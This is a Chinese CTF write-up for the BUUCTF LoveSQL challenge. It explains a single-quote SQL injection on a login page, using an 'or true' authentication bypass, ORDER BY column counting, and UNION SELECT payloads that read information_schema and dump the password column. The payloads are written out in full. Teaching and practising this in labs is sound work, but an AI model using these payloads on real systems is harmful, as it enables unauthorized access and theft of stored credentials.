BUUCTF Web [极客大挑战 2019]LoveSQL

「作者主页」:士别三日wyx
  此文章已录入专栏《网络攻防》,持续更新热门靶场的通关教程
「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之九十九的同期选手。

一、题目简介

进入题目连接是一个「登录」界面

BUUCTF Web [极客大挑战 2019]LoveSQL_第1张图片
登录「成功」会显示当前用户的账号和密码

BUUCTF Web [极客大挑战 2019]LoveSQL_第2张图片
登录「失败」则会则会提示错误的用户名和密码

BUUCTF Web [极客大挑战 2019]LoveSQL_第3张图片

二、思路分析

        这一关是「SQL注入」漏洞,注入点为单引号字符型注入,推荐使用「联合注入」

看到登录功能,第一反应就是SQL注入,先尝一下「万能账号」,依次尝试各种类型的万能账号。点击链接查看《万能账号密码使用详解》
BUUCTF Web [极客大挑战 2019]LoveSQL_第4张图片
单引号字符型的万能账号登录「成功」
BUUCTF Web [极客大挑战 2019]LoveSQL_第5张图片
页面有「显示位」,推荐使用联合注入,这一关没有过滤,判断字段数以后直接脱库即可

三、解题步骤

1)判断注入点

使用万能账号判断「注入点」,payload如下

  • 账号输入a' or true -- a
  • 密码随便输入 111

BUUCTF Web [极客大挑战 2019]LoveSQL_第6张图片

2)判断字段数

使用 order by 排序判断显示位的「字段数」

  • 账号依次输入
    a’ or true order by 1 – a
    a’ or true order by 2 – a
    a’ or true order by 3 – a
    a’ or true order by 4 – a
  • 密码随便输入 111

排序到 4 时报错,说明字段数为 3
在这里插入图片描述

3)获取所有表

CFT有个不成文的「规矩」,SQL注入漏洞中,flag通常会放在当前使用的数据库中。我们直接获取当前数据库的表即可

  • 用户名输入以下payload
a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 -- a
  • 密码随便输入 111

拿到两个表名 geekuser、l0ve1ysq1,flag在第二个表中
在这里插入图片描述

4)获取字段

获取 l0ve1ysq1 表的所有「字段」

  • 用户名输入以下payload
a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'),3 -- a
  • 密码随便输入 111

拿到 3 个字段 id,username,password,flag 就在 password 字段中

5)获取flag

查询 l0ve1ysq1 表的 password 字段,获取 「flag」

  • 用户名输入以下payload
a' union select 1,(select group_concat(password) from l0ve1ysq1),3 -- a
  • 密码随便输入 111

拿到 n 个数据
BUUCTF Web [极客大挑战 2019]LoveSQL_第7张图片
页面不方便查看,可以右键查看「网页源代码」
在这里插入图片描述
夺旗成功!

四、总结

喜欢一个东西首先要先学会「尊重」,虽然网络安全的圈子不乏各种灰产,以及高调宣传自己是黑客的脚本小子,但不可否认,这个圈子仍有不少人保持着「举世皆浊我独清,众人皆醉我独醒」的心态,努力磨砺技术,提升自身修养,让互联网变得更加安全

你可能感兴趣的:(网络攻防,网络安全,python,安全性测试)